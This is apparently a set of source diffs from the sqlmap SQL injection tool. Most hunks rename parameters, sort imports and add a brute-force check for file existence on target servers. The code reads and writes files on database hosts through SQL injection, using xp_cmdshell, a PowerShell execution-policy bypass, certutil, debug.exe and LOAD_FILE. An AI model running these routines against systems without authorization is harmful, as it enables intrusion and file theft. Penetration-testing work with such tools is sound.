value = unArrayizeValue(value)
elif len(value) > 1 and stopLimit == 1:
value = [value]
@@ -457,7 +461,7 @@ def errorUse(expression, dump=False):
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[kb.technique], duration)
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[getTechnique()], duration)
logger.debug(debugMsg)
return value
+6 -4
View File
@@ -20,6 +20,7 @@ from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import removeReflectiveValues
from lib.core.common import setTechnique
from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.common import stdev
@@ -32,14 +33,14 @@ from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import PAYLOAD
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
from lib.core.settings import UNION_MIN_RESPONSE_CHARS
from lib.core.settings import UNION_STDEV_COEFF
from lib.core.settings import MIN_RATIO
from lib.core.settings import MAX_RATIO
from lib.core.settings import MIN_RATIO
from lib.core.settings import MIN_STATISTICAL_RANGE
from lib.core.settings import MIN_UNION_RESPONSES
from lib.core.settings import NULL
from lib.core.settings import ORDER_BY_STEP
from lib.core.settings import UNION_MIN_RESPONSE_CHARS
from lib.core.settings import UNION_STDEV_COEFF
from lib.core.unescaper import unescaper
from lib.request.comparison import comparison
from lib.request.connect import Connect as Request
@@ -312,6 +313,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
return validPayload, vector
@stackedmethod
def unionTest(comment, place, parameter, value, prefix, suffix):
"""
This method tests if the target URL is affected by an union
@@ -322,7 +324,7 @@ def unionTest(comment, place, parameter, value, prefix, suffix):
return
negativeLogic = kb.negativeLogic
kb.technique = PAYLOAD.TECHNIQUE.UNION
setTechnique(PAYLOAD.TECHNIQUE.UNION)
try:
if negativeLogic:
+2 -2
View File
@@ -21,7 +21,6 @@ from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import firstNotNone
from lib.core.common import flattenValue
from lib.core.common import safeStringFormat
from lib.core.common import getConsoleWidth
from lib.core.common import getPartRun
from lib.core.common import hashDBRetrieve
@@ -34,6 +33,7 @@ from lib.core.common import isNumPosStrValue
from lib.core.common import listToStrValue
from lib.core.common import parseUnionPage
from lib.core.common import removeReflectiveValues
from lib.core.common import safeStringFormat
from lib.core.common import singleTimeDebugMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue
@@ -376,7 +376,7 @@ def unionUse(expression, unpack=True, dump=False):
threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0]
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode:
_ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items]))
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
+4 -4
View File
@@ -25,15 +25,15 @@ from lib.core.common import openFile
from lib.core.common import saveConfig
from lib.core.common import unArrayizeValue
from lib.core.compat import xrange
from lib.core.convert import encodeBase64
from lib.core.convert import encodeHex
from lib.core.convert import decodeBase64
from lib.core.convert import dejsonize
from lib.core.convert import encodeBase64
from lib.core.convert import encodeHex
from lib.core.convert import jsonize
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import paths
from lib.core.data import logger
from lib.core.data import paths
from lib.core.datatype import AttribDict
from lib.core.defaults import _defaults
from lib.core.dicts import PART_RUN_CONTENT_TYPES
@@ -43,8 +43,8 @@ from lib.core.enums import MKSTEMP_PREFIX
from lib.core.exception import SqlmapConnectionException
from lib.core.log import LOGGER_HANDLER
from lib.core.optiondict import optDict
from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
from lib.core.settings import IS_WIN
from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
from lib.core.settings import RESTAPI_DEFAULT_PORT
from lib.core.shell import autoCompletion
+105 -4
View File
@@ -5,29 +5,39 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import logging
import time
from lib.core.common import Backend
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import filterListValue
from lib.core.common import getFileItems
from lib.core.common import Backend
from lib.core.common import getPageWordSet
from lib.core.common import hashDBWrite
from lib.core.common import isNoneValue
from lib.core.common import ntToPosixSlashes
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import safeStringFormat
from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import safeStringFormat
from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE
from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE
from lib.core.settings import METADB_SUFFIX
@@ -134,7 +144,6 @@ def tableExists(tableFile, regex=None):
try:
runThreads(conf.threads, tableExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during table existence "
warnMsg += "check. sqlmap will display partial output"
@@ -250,11 +259,12 @@ def columnExists(columnFile, regex=None):
try:
runThreads(conf.threads, columnExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during column existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
finally:
kb.bruteMode = False
clearConsoleLine(True)
dataToStdout("\n")
@@ -285,3 +295,94 @@ def columnExists(columnFile, regex=None):
hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)
return kb.data.cachedColumns
@stackedmethod
def fileExists(pathFile):
retVal = []
message = "which common files file do you want to use?\n"
message += "[1] default '%s' (press Enter)\n" % pathFile
message += "[2] custom"
choice = readInput(message, default='1')
if choice == '2':
message = "what's the custom common files file location?\n"
pathFile = readInput(message) or pathFile
infoMsg = "checking files existence using items from '%s'" % pathFile
logger.info(infoMsg)
paths = getFileItems(pathFile, unique=True)
kb.bruteMode = True
try:
conf.dbmsHandler.readFile(randomStr())
except SqlmapNoneDataException:
pass
except:
kb.bruteMode = False
raise
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(paths)
threadData.shared.value = []
def fileExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
path = ntToPosixSlashes(paths[threadData.shared.count])
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
try:
result = unArrayizeValue(conf.dbmsHandler.readFile(path))
except SqlmapNoneDataException:
result = None
kb.locks.io.acquire()
if not isNoneValue(result):
threadData.shared.value.append(result)
if conf.verbose in (1, 2) and not conf.api:
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (time.strftime("%X"), path)
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
kb.locks.io.release()
try:
pushValue(logger.getEffectiveLevel())
logger.setLevel(logging.CRITICAL)
runThreads(conf.threads, fileExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during file existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
finally:
kb.bruteMode = False
logger.setLevel(popValue())
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.value:
warnMsg = "no file(s) found"
logger.warn(warnMsg)
else:
retVal = threadData.shared.value
return retVal
+2
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import os
import re
import tempfile
+1 -1
View File
@@ -21,7 +21,7 @@ def checkDependencies():
if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
__import__("_mssql")
import pymssql
pymssql = __import__("pymssql")
if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
warnMsg = "'%s' third-party library must be " % data[1]
warnMsg += "version >= 1.0.2 to work properly. "
+3 -3
View File
@@ -63,9 +63,9 @@ from lib.core.common import readInput
from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.convert import encodeHex
from lib.core.convert import decodeBase64
from lib.core.convert import decodeHex
from lib.core.convert import encodeHex
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.convert import getUnicode
@@ -90,13 +90,13 @@ from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT
from lib.core.settings import IS_WIN
from lib.core.settings import ITOA64
from lib.core.settings import NULL
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import ROTATING_CHARS
from lib.core.settings import UNICODE_ENCODING
from lib.core.wordlist import Wordlist
from thirdparty import six
from thirdparty.colorama.initialise import init as coloramainit
from thirdparty.pydes.pyDes import des
from thirdparty.pydes.pyDes import CBC
from thirdparty.pydes.pyDes import des
from thirdparty.six.moves import queue as _queue
def mysql_passwd(password, uppercase=True):
+2
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import time
from lib.core.common import dataToStdout
+12 -8
View File
@@ -25,8 +25,8 @@ from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import BING_REGEX
from lib.core.settings import DUMMY_SEARCH_USER_AGENT
from lib.core.settings import DUCKDUCKGO_REGEX
from lib.core.settings import DUMMY_SEARCH_USER_AGENT
from lib.core.settings import GOOGLE_REGEX
from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
from lib.core.settings import UNICODE_ENCODING
@@ -44,14 +44,16 @@ def _search(dork):
if not dork:
return None
page = None
data = None
headers = {}
requestHeaders = {}
responseHeaders = {}
headers[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT)
headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE
requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT)
requestHeaders[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE
try:
req = _urllib.request.Request("https://www.google.com/ncr", headers=headers)
req = _urllib.request.Request("https://www.google.com/ncr", headers=requestHeaders)
conn = _urllib.request.urlopen(req)
except Exception as ex:
errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex)
@@ -66,7 +68,7 @@ def _search(dork):
url += "&start=%d" % ((gpage - 1) * 100)
try:
req = _urllib.request.Request(url, headers=headers)
req = _urllib.request.Request(url, headers=requestHeaders)
conn = _urllib.request.urlopen(req)
requestMsg = "HTTP request:\nGET %s" % url
@@ -77,7 +79,6 @@ def _search(dork):
code = conn.code
status = conn.msg
responseHeaders = conn.info()
page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type"))
responseMsg = "HTTP response (%s - %d):\n" % (status, code)
@@ -90,6 +91,7 @@ def _search(dork):
except _urllib.error.HTTPError as ex:
try:
page = ex.read()
responseHeaders = ex.info()
except Exception as _:
warnMsg = "problem occurred while trying to get "
warnMsg += "an error page information (%s)" % getSafeExString(_)
@@ -99,6 +101,8 @@ def _search(dork):
errMsg = "unable to connect to Google"
raise SqlmapConnectionException(errMsg)
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)]
if not retVal and "detected unusual traffic" in page:
@@ -128,7 +132,7 @@ def _search(dork):
regex = DUCKDUCKGO_REGEX
try:
req = _urllib.request.Request(url, data=data, headers=headers)
req = _urllib.request.Request(url, data=data, headers=requestHeaders)
conn = _urllib.request.urlopen(req)
requestMsg = "HTTP request:\nGET %s" % url
+1 -1
View File
@@ -23,7 +23,7 @@ class Enumeration(GenericEnumeration):
warnMsg = "on Microsoft Access it is not possible to get name of the current database"
logger.warn(warnMsg)
def isDba(self, *args, **kwargs):
def isDba(self, user=None):
warnMsg = "on Microsoft Access it is not possible to test if current user is DBA"
logger.warn(warnMsg)
+2 -2
View File
@@ -9,10 +9,10 @@ from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def readFile(self, rFile):
def readFile(self, remoteFile):
errMsg = "on Microsoft Access it is not possible to read files"
raise SqlmapUnsupportedFeatureException(errMsg)
def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "on Microsoft Access it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg)
+2 -2
View File
@@ -9,10 +9,10 @@ from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def readFile(self, rFile):
def readFile(self, remoteFile):
errMsg = "on Firebird it is not possible to read files"
raise SqlmapUnsupportedFeatureException(errMsg)
def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "on Firebird it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg)
+2 -2
View File
@@ -5,15 +5,15 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from plugins.generic.enumeration import Enumeration as GenericEnumeration
from lib.core.common import unArrayizeValue
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.common import unArrayizeValue
from lib.core.enums import DBMS
from lib.core.settings import H2_DEFAULT_SCHEMA
from lib.request import inject
from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def getBanner(self):
+2 -2
View File
@@ -9,10 +9,10 @@ from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def readFile(self, rFile):
def readFile(self, remoteFile):
errMsg = "on H2 it is not possible to read files"
raise SqlmapUnsupportedFeatureException(errMsg)
def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "on H2 it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg)
+2 -2
View File
@@ -5,15 +5,15 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from plugins.generic.enumeration import Enumeration as GenericEnumeration
from lib.core.common import unArrayizeValue
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.common import unArrayizeValue
from lib.core.enums import DBMS
from lib.core.settings import HSQLDB_DEFAULT_SCHEMA
from lib.request import inject
from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def getBanner(self):
+2 -2
View File
@@ -9,10 +9,10 @@ from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def readFile(self, rFile):
def readFile(self, remoteFile):
errMsg = "on HSQLDB it is not possible to read files"
raise SqlmapUnsupportedFeatureException(errMsg)
def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "on HSQLDB it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg)
+2 -2
View File
@@ -9,10 +9,10 @@ from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def readFile(self, rFile):
def readFile(self, remoteFile):
errMsg = "on SAP MaxDB reading of files is not supported"
raise SqlmapUnsupportedFeatureException(errMsg)
def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "on SAP MaxDB writing of files is not supported"
raise SqlmapUnsupportedFeatureException(errMsg)
+56 -54
View File
@@ -18,6 +18,7 @@ from lib.core.compat import xrange
from lib.core.convert import encodeBase64
from lib.core.convert import encodeHex
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import EXPECTED
@@ -81,20 +82,21 @@ class Filesystem(GenericFilesystem):
return chunkName
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
def stackedReadFile(self, remoteFile):
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
result = []
txtTbl = self.fileTblName
hexTbl = "%shex" % self.fileTblName
hexTbl = "%s%shex" % (self.fileTblName, randomStr())
self.createSupportTbl(txtTbl, self.tblField, "text")
inject.goStacked("DROP TABLE %s" % hexTbl)
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
logger.debug("loading the content of file '%s' into support table" % rFile)
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
logger.debug("loading the content of file '%s' into support table" % remoteFile)
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, remoteFile, randomStr(10), randomStr(10)), silent=True)
# Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829
binToHexQuery = """DECLARE @charset VARCHAR(16)
@@ -147,7 +149,7 @@ class Filesystem(GenericFilesystem):
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
errMsg += "file '%s'" % remoteFile
raise SqlmapNoneDataException(errMsg)
indexRange = getLimitRange(count)
@@ -160,41 +162,41 @@ class Filesystem(GenericFilesystem):
return result
def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False):
def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
errMsg = "Microsoft SQL Server does not support file upload with "
errMsg += "UNION query SQL injection technique"
raise SqlmapUnsupportedFeatureException(errMsg)
def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType):
def _stackedWriteFilePS(self, tmpPath, localFileContent, remoteFile, fileType):
infoMsg = "using PowerShell to write the %s file content " % fileType
infoMsg += "to file '%s'" % dFile
infoMsg += "to file '%s'" % remoteFile
logger.info(infoMsg)
encodedFileContent = encodeBase64(wFileContent, binary=False)
encodedFileContent = encodeBase64(localFileContent, binary=False)
encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True)
encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File)
randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True)
randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript)
wFileSize = len(encodedFileContent)
localFileSize = len(encodedFileContent)
chunkMaxSize = 1024
logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath)
for i in xrange(0, wFileSize, chunkMaxSize):
for i in xrange(0, localFileSize, chunkMaxSize):
wEncodedChunk = encodedFileContent[i:i + chunkMaxSize]
self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File)
psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath
psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = "
psString += "[System.Convert]::FromBase64String($Base64); Set-Content "
psString += "-Path \"%s\" -Value $Content -Encoding Byte" % dFile
psString += "-Path \"%s\" -Value $Content -Encoding Byte" % remoteFile
logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath)
self.xpCmdshellWriteFile(psString, tmpPath, randPSScript)
logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile)
logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % remoteFile)
commands = (
"powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath,
@@ -204,27 +206,27 @@ class Filesystem(GenericFilesystem):
self.execCmd(" & ".join(command for command in commands))
def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
def _stackedWriteFileDebugExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType):
infoMsg = "using debug.exe to write the %s " % fileType
infoMsg += "file content to file '%s', please wait.." % dFile
infoMsg += "file content to file '%s', please wait.." % remoteFile
logger.info(infoMsg)
dFileName = ntpath.basename(dFile)
sFile = "%s\\%s" % (tmpPath, dFileName)
wFileSize = os.path.getsize(wFile)
remoteFileName = ntpath.basename(remoteFile)
sFile = "%s\\%s" % (tmpPath, remoteFileName)
localFileSize = os.path.getsize(localFile)
debugSize = 0xFF00
if wFileSize < debugSize:
chunkName = self._updateDestChunk(wFileContent, tmpPath)
if localFileSize < debugSize:
chunkName = self._updateDestChunk(localFileContent, tmpPath)
debugMsg = "renaming chunk file %s\\%s to %s " % (tmpPath, chunkName, fileType)
debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, dFileName, dFile)
debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, remoteFileName, remoteFile)
logger.debug(debugMsg)
commands = (
"cd \"%s\"" % tmpPath,
"ren %s %s" % (chunkName, dFileName),
"move /Y %s %s" % (dFileName, dFile)
"ren %s %s" % (chunkName, remoteFileName),
"move /Y %s %s" % (remoteFileName, remoteFile)
)
self.execCmd(" & ".join(command for command in commands))
@@ -235,18 +237,18 @@ class Filesystem(GenericFilesystem):
debugMsg += "on the server, please wait.."
logger.debug(debugMsg)
for i in xrange(0, wFileSize, debugSize):
wFileChunk = wFileContent[i:i + debugSize]
chunkName = self._updateDestChunk(wFileChunk, tmpPath)
for i in xrange(0, localFileSize, debugSize):
localFileChunk = localFileContent[i:i + debugSize]
chunkName = self._updateDestChunk(localFileChunk, tmpPath)
if i == 0:
debugMsg = "renaming chunk "
copyCmd = "ren %s %s" % (chunkName, dFileName)
copyCmd = "ren %s %s" % (chunkName, remoteFileName)
else:
debugMsg = "appending chunk "
copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
copyCmd = "copy /B /Y %s+%s %s" % (remoteFileName, chunkName, remoteFileName)
debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, remoteFileName)
logger.debug(debugMsg)
commands = (
@@ -257,18 +259,18 @@ class Filesystem(GenericFilesystem):
self.execCmd(" & ".join(command for command in commands))
logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile))
logger.debug("moving %s file %s to %s" % (fileType, sFile, remoteFile))
commands = (
"cd \"%s\"" % tmpPath,
"move /Y %s %s" % (dFileName, dFile)
"move /Y %s %s" % (remoteFileName, remoteFile)
)
self.execCmd(" & ".join(command for command in commands))
def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType):
def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile, fileType):
infoMsg = "using a custom visual basic script to write the "
infoMsg += "%s file content to file '%s', please wait.." % (fileType, dFile)
infoMsg += "%s file content to file '%s', please wait.." % (fileType, remoteFile)
logger.info(infoMsg)
randVbs = "tmps%s.vbs" % randomStr(lowercase=True)
@@ -327,10 +329,10 @@ class Filesystem(GenericFilesystem):
Else
mimedecode = InStr(Base64Chars, strIn) - 1
End If
End Function""" % (randFilePath, dFile)
End Function""" % (randFilePath, remoteFile)
vbs = vbs.replace(" ", "")
encodedFileContent = encodeBase64(wFileContent, binary=False)
encodedFileContent = encodeBase64(localFileContent, binary=False)
logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
@@ -349,9 +351,9 @@ class Filesystem(GenericFilesystem):
self.execCmd(" & ".join(command for command in commands))
def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
def _stackedWriteFileCertutilExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType):
infoMsg = "using certutil.exe to write the %s " % fileType
infoMsg += "file content to file '%s', please wait.." % dFile
infoMsg += "file content to file '%s', please wait.." % remoteFile
logger.info(infoMsg)
chunkMaxSize = 500
@@ -359,7 +361,7 @@ class Filesystem(GenericFilesystem):
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
randFilePath = "%s\\%s" % (tmpPath, randFile)
encodedFileContent = encodeBase64(wFileContent, binary=False)
encodedFileContent = encodeBase64(localFileContent, binary=False)
splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)])
@@ -367,17 +369,17 @@ class Filesystem(GenericFilesystem):
self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile)
logger.debug("decoding the file to %s.." % dFile)
logger.debug("decoding the file to %s.." % remoteFile)
commands = (
"cd \"%s\"" % tmpPath,
"certutil -f -decode %s %s" % (randFile, dFile),
"certutil -f -decode %s %s" % (randFile, remoteFile),
"del /F /Q %s" % randFile
)
self.execCmd(" & ".join(command for command in commands))
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
# NOTE: this is needed here because we use xp_cmdshell extended
# procedure to write a file on the back-end Microsoft SQL Server
# file system
@@ -386,35 +388,35 @@ class Filesystem(GenericFilesystem):
self.getRemoteTempPath()
tmpPath = posixToNtSlashes(conf.tmpPath)
dFile = posixToNtSlashes(dFile)
with open(wFile, "rb") as f:
wFileContent = f.read()
remoteFile = posixToNtSlashes(remoteFile)
with open(localFile, "rb") as f:
localFileContent = f.read()
self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType)
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
self._stackedWriteFilePS(tmpPath, localFileContent, remoteFile, fileType)
written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
if written is False:
message = "do you want to try to upload the file with "
message += "the custom Visual Basic script technique? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType)
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
self._stackedWriteFileVbs(tmpPath, localFileContent, remoteFile, fileType)
written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
if written is False:
message = "do you want to try to upload the file with "
message += "the built-in debug.exe technique? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType)
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
self._stackedWriteFileDebugExe(tmpPath, localFile, localFileContent, remoteFile, fileType)
written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
if written is False:
message = "do you want to try to upload the file with "
message += "the built-in certutil.exe technique? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._stackedWriteFileCertutilExe(tmpPath, wFile, wFileContent, dFile, fileType)
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
self._stackedWriteFileCertutilExe(tmpPath, localFile, localFileContent, remoteFile, fileType)
written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
return written
+1 -1
View File
@@ -5,8 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from plugins.generic.syntax import Syntax as GenericSyntax
from lib.core.convert import getOrds
from plugins.generic.syntax import Syntax as GenericSyntax
class Syntax(GenericSyntax):
@staticmethod
+30 -27
View File
@@ -31,29 +31,31 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def nonStackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
return result
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
def stackedReadFile(self, remoteFile):
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
self.getRemoteTempPath()
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile
debugMsg += "into temporary file '%s'" % tmpFile
